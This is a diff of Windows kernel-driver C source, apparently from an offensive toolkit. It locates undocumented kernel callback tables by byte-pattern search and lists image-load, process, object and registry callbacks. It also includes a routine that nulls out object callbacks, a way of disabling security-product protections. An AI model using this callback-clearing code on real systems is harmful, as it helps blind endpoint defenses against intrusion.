NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status;
|
||||
ULONG i;
|
||||
PKIWI_CALLBACK monCallBack;
|
||||
|
||||
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n");
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getPspLoadImageNotifyRoutine();
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++)
|
||||
{
|
||||
monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]);
|
||||
if(monCallBack != NULL)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS getPspLoadImageNotifyRoutine()
|
||||
{
|
||||
NTSTATUS retour = STATUS_NOT_FOUND;
|
||||
#ifdef _M_X64
|
||||
UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35};
|
||||
LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image);
|
||||
UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d};
|
||||
LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image);
|
||||
|
||||
LONG OFFS_WNT5_Count = - 0x0c;
|
||||
LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine;
|
||||
#elif defined _M_IX86
|
||||
UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56};
|
||||
UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6};
|
||||
UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6};
|
||||
LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID);
|
||||
|
||||
LONG OFFS_WNT5_Count = - 0x18;
|
||||
LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine;
|
||||
LONG OFFS_WIN8_Count = - 0x20;
|
||||
#endif
|
||||
|
||||
PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0;
|
||||
LONG offsetToCountEx = 0, offsetToCount = 0;
|
||||
|
||||
if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount)
|
||||
{
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(INDEX_OS < INDEX_VISTA)
|
||||
{
|
||||
pattern = PTRN_WNT5_Image;
|
||||
taille = sizeof(PTRN_WNT5_Image);
|
||||
#ifdef _M_X64
|
||||
offsetTo = OFFS_WNT5_Image;
|
||||
#endif
|
||||
offsetToCount = OFFS_WNT5_Count;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef _M_X64
|
||||
pattern = PTRN_WNT6_Image;
|
||||
taille = sizeof(PTRN_WNT6_Image);
|
||||
offsetTo = OFFS_WNT6_Image;
|
||||
offsetToCount = OFFS_WNT6_Count;
|
||||
#elif defined _M_IX86
|
||||
if(INDEX_OS < INDEX_8)
|
||||
{
|
||||
pattern = PTRN_WNO8_Image;
|
||||
taille = sizeof(PTRN_WNO8_Image);
|
||||
offsetToCount = OFFS_WNO8_Count;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_Image;
|
||||
taille = sizeof(PTRN_WIN8_Image);
|
||||
offsetToCount = OFFS_WIN8_Count;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
#ifdef _M_IX86
|
||||
offsetTo = OFFS_WALL_Image;
|
||||
#endif
|
||||
|
||||
retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
|
||||
if(NT_SUCCESS(retour))
|
||||
{
|
||||
PspLoadImageNotifyRoutine = (PVOID) (pointeur);
|
||||
PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
|
||||
|
||||
if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount)
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
#pragma once
|
||||
#include "notify.h"
|
||||
|
||||
#define MAX_NT_PspLoadImageNotifyRoutine 8
|
||||
|
||||
ULONG * PspLoadImageNotifyRoutineCount;
|
||||
PVOID * PspLoadImageNotifyRoutine;
|
||||
|
||||
NTSTATUS getPspLoadImageNotifyRoutine();
|
||||
NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
|
@ -0,0 +1,173 @@
|
|||
#include "notify_object.h"
|
||||
|
||||
POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL;
|
||||
|
||||
const WCHAR *procCallToName[] = {
|
||||
L"Dump ",
|
||||
L"Open ",
|
||||
L"Close ",
|
||||
L"Delete ",
|
||||
L"Parse ",
|
||||
L"Security ",
|
||||
L"QueryName ",
|
||||
L"OkayToClose",
|
||||
};
|
||||
|
||||
NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif);
|
||||
}
|
||||
|
||||
NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif);
|
||||
}
|
||||
|
||||
NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action)
|
||||
{
|
||||
NTSTATUS status;
|
||||
ULONG i, j;
|
||||
POBJECT_DIRECTORY_ENTRY monEntree;
|
||||
POBJECT_TYPE monType, monTypeDecal;
|
||||
PVOID * miniProc;
|
||||
POBJECT_CALLBACK_ENTRY pStruct;
|
||||
|
||||
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n");
|
||||
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getObpTypeDirectoryObject();
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++)
|
||||
{
|
||||
if((*ObpTypeDirectoryObject)->HashBuckets[i])
|
||||
{
|
||||
for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry)
|
||||
{
|
||||
if(monType = monEntree->Object)
|
||||
{
|
||||
if(INDEX_OS < INDEX_VISTA)
|
||||
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE));
|
||||
|
||||
if(action == ListNotif)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name));
|
||||
for(j = 0; (j < 8) && NT_SUCCESS(status); j++)
|
||||
{
|
||||
miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j
|
||||
#ifdef _M_IX86
|
||||
- ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0)
|
||||
#endif
|
||||
);
|
||||
if(*miniProc)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if(INDEX_OS >= INDEX_VISTA)
|
||||
{
|
||||
if(INDEX_OS < INDEX_7)
|
||||
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK));
|
||||
else if (INDEX_OS > INDEX_7)
|
||||
monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks
|
||||
|
||||
for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink)
|
||||
{
|
||||
if(pStruct->PreOperation || pStruct->PostOperation)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);;
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / ");
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(action == ClearNotif)
|
||||
{
|
||||
pStruct->PreOperation = NULL;
|
||||
pStruct->PostOperation = NULL;
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS getObpTypeDirectoryObject()
|
||||
{
|
||||
NTSTATUS retour = STATUS_NOT_FOUND;
|
||||
#ifdef _M_X64
|
||||
UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84};
|
||||
LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3;
|
||||
LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3;
|
||||
LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3;
|
||||
#elif defined _M_IX86
|
||||
UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84};
|
||||
LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2;
|
||||
LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1;
|
||||
LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2;
|
||||
#endif
|
||||
|
||||
PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0;
|
||||
UNICODE_STRING maRoutine;
|
||||
|
||||
if(ObpTypeDirectoryObject)
|
||||
{
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType");
|
||||
if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine))
|
||||
{
|
||||
refFin = refDebut + PAGE_SIZE;
|
||||
|
||||
if(INDEX_OS < INDEX_8)
|
||||
{
|
||||
if(INDEX_OS < INDEX_VISTA)
|
||||
offsetTo = OFFS_WNT5_Object;
|
||||
else
|
||||
{
|
||||
offsetTo = OFFS_WNO8_Object;
|
||||
#ifdef _M_X64
|
||||
refFin = refDebut - PAGE_SIZE;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else
|
||||
offsetTo = OFFS_WIN8_Object;
|
||||
|
||||
retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo);
|
||||
}
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
|
@ -0,0 +1,79 @@
|
|||
#pragma once
|
||||
#include "notify.h"
|
||||
|
||||
#define OBJECT_HASH_TABLE_SIZE 37
|
||||
|
||||
typedef struct _OBJECT_DIRECTORY_ENTRY {
|
||||
struct _OBJECT_DIRECTORY_ENTRY *NextEntry;
|
||||
PVOID Object;
|
||||
ULONG HashValue; // pas en NT5
|
||||
} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY;
|
||||
|
||||
typedef struct _OBJECT_DIRECTORY {
|
||||
POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE];
|
||||
EX_PUSH_LOCK Lock;
|
||||
PVOID DeviceMap;
|
||||
ULONG SessionId;
|
||||
PVOID NamespaceEntry; // a partir de là, différent en NT5, mais pas utilisé...
|
||||
ULONG Flags;
|
||||
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;
|
||||
|
||||
typedef struct _OBJECT_TYPE_INITIALIZER // NT6, décaler ULONG en NT5x86 (compensé par l'alignement en x64)
|
||||
{
|
||||
SHORT Length;
|
||||
UCHAR ObjectTypeFlags;
|
||||
ULONG ObjectTypeCode;
|
||||
ULONG InvalidAttributes;
|
||||
GENERIC_MAPPING GenericMapping;
|
||||
ACCESS_MASK ValidAccessMask;
|
||||
ULONG RetainAccess;
|
||||
POOL_TYPE PoolType;
|
||||
ULONG DefaultPagedPoolCharge;
|
||||
ULONG DefaultNonPagedPoolCharge;
|
||||
PVOID DumpProcedure;
|
||||
PVOID OpenProcedure;
|
||||
PVOID CloseProcedure;
|
||||
PVOID DeleteProcedure;
|
||||
PVOID ParseProcedure;
|
||||
PVOID SecurityProcedure;
|
||||
PVOID QueryNameProcedure;
|
||||
PVOID OkayToCloseProcedure;
|
||||
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
|
||||
|
||||
typedef struct _OBJECT_TYPE {
|
||||
LIST_ENTRY TypeList;
|
||||
UNICODE_STRING Name;
|
||||
PVOID DefaultObject;
|
||||
UCHAR Index;
|
||||
ULONG TotalNumberOfObjects;
|
||||
ULONG TotalNumberOfHandles;
|
||||
ULONG HighWaterNumberOfObjects;
|
||||
ULONG HighWaterNumberOfHandles;
|
||||
OBJECT_TYPE_INITIALIZER TypeInfo;
|
||||
EX_PUSH_LOCK TypeLock;
|
||||
ULONG Key;
|
||||
LIST_ENTRY CallbackList;
|
||||
} OBJECT_TYPE, *POBJECT_TYPE;
|
||||
|
||||
typedef struct _OBJECT_CALLBACK_ENTRY {
|
||||
LIST_ENTRY CallbackList;
|
||||
OB_OPERATION Operations;
|
||||
ULONG Active;
|
||||
/*OB_HANDLE*/ PVOID Handle;
|
||||
POBJECT_TYPE ObjectType;
|
||||
POB_PRE_OPERATION_CALLBACK PreOperation;
|
||||
POB_POST_OPERATION_CALLBACK PostOperation;
|
||||
} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY;
|
||||
|
||||
typedef enum _KIWI_NOTIF_OBJECT_ACTION
|
||||
{
|
||||
ListNotif,
|
||||
ClearNotif
|
||||
} KIWI_NOTIF_OBJECT_ACTION;
|
||||
|
||||
POBJECT_DIRECTORY * ObpTypeDirectoryObject;
|
||||
|
||||
NTSTATUS getObpTypeDirectoryObject();
|
||||
NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action);
|
||||
|
|
@ -0,0 +1,137 @@
|
|||
#include "notify_process.h"
|
||||
|
||||
ULONG * PspCreateProcessNotifyRoutineCount = NULL;
|
||||
ULONG * PspCreateProcessNotifyRoutineExCount = NULL;
|
||||
PVOID * PspCreateProcessNotifyRoutine = NULL;
|
||||
|
||||
NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status;
|
||||
ULONG i;
|
||||
PKIWI_CALLBACK monCallBack;
|
||||
ULONG bonusCount;
|
||||
|
||||
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n");
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getPspCreateProcessNotifyRoutine();
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount);
|
||||
for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++)
|
||||
{
|
||||
monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]);
|
||||
if(monCallBack != NULL)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS getPspCreateProcessNotifyRoutine()
|
||||
{
|
||||
NTSTATUS retour = STATUS_NOT_FOUND;
|
||||
#ifdef _M_X64
|
||||
UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb};
|
||||
LONG OFFS_WNT5_Process = -4;
|
||||
UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84};
|
||||
LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3;
|
||||
UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84};
|
||||
LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3;
|
||||
|
||||
PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead;
|
||||
PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE;
|
||||
PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx;
|
||||
PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE;
|
||||
|
||||
LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine;
|
||||
LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx;
|
||||
LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
|
||||
LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG);
|
||||
LONG OFFS_WIN8_Count = - 0x18;
|
||||
#elif defined _M_IX86
|
||||
UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74};
|
||||
LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2;
|
||||
UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45};
|
||||
LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1;
|
||||
UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe};
|
||||
LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process);
|
||||
|
||||
PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine;
|
||||
PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE;
|
||||
PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt;
|
||||
PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE;
|
||||
|
||||
LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine;
|
||||
LONG OFFS_WIN8_CountEx = - 0x20;
|
||||
LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
|
||||
LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG);
|
||||
LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG);
|
||||
#endif
|
||||
|
||||
PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0;
|
||||
LONG offsetToCountEx = 0, offsetToCount = 0;
|
||||
|
||||
if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount)
|
||||
{
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(INDEX_OS < INDEX_8)
|
||||
{
|
||||
if(INDEX_OS < INDEX_VISTA)
|
||||
{
|
||||
pattern = PTRN_WNT5_Process;
|
||||
taille = sizeof(PTRN_WNT5_Process);
|
||||
offsetTo = OFFS_WNT5_Process;
|
||||
offsetToCount = OFFS_WNT5_Count;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WNO8_Process;
|
||||
taille = sizeof(PTRN_WNO8_Process);
|
||||
offsetTo = OFFS_WNO8_Process;
|
||||
offsetToCountEx = OFFS_WNO8_CountEx;
|
||||
offsetToCount = OFFS_WNO8_Count;
|
||||
}
|
||||
refDebut = REF_D_WNO8_Process;
|
||||
refFin = REF_F_WNO8_Process;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_Process;
|
||||
taille = sizeof(PTRN_WIN8_Process);
|
||||
offsetTo = OFFS_WIN8_Process;
|
||||
refDebut = REF_D_WIN8_Process;
|
||||
refFin = REF_F_WIN8_Process;
|
||||
offsetToCountEx = OFFS_WIN8_CountEx;
|
||||
offsetToCount = OFFS_WIN8_Count;
|
||||
}
|
||||
|
||||
retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
|
||||
if(NT_SUCCESS(retour))
|
||||
{
|
||||
PspCreateProcessNotifyRoutine = (PVOID) (pointeur);
|
||||
PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
|
||||
if(INDEX_OS >= INDEX_VISTA)
|
||||
PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx);
|
||||
|
||||
if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount)
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
#pragma once
|
||||
#include "notify.h"
|
||||
|
||||
#define MAX_NT6_PspCreateProcessNotifyRoutine 64
|
||||
#define MAX_NT5_PspCreateProcessNotifyRoutine 8
|
||||
|
||||
ULONG * PspCreateProcessNotifyRoutineCount;
|
||||
ULONG * PspCreateProcessNotifyRoutineExCount;
|
||||
PVOID * PspCreateProcessNotifyRoutine;
|
||||
|
||||
NTSTATUS getPspCreateProcessNotifyRoutine();
|
||||
NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
|
@ -0,0 +1,137 @@
|
|||
#include "notify_reg.h"
|
||||
|
||||
ULONG * CmpCallBackCount = NULL;
|
||||
PVOID * CmpCallBackVector = NULL;
|
||||
PLIST_ENTRY CallbackListHead = NULL;
|
||||
|
||||
NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status;
|
||||
ULONG i;
|
||||
PKIWI_CALLBACK monCallBack;
|
||||
PLIST_ENTRY maListe;
|
||||
PKIWI_REGISTRY6_CALLBACK monCallBack6;
|
||||
|
||||
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n");
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getNotifyRegistryRoutine();
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
if(INDEX_OS < INDEX_VISTA)
|
||||
{
|
||||
for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++)
|
||||
{
|
||||
monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]);
|
||||
if(monCallBack != NULL)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L" - cookie %#.I64x\n", *(monCallBack->opt_cookie)
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++)
|
||||
{
|
||||
monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG)));
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie);
|
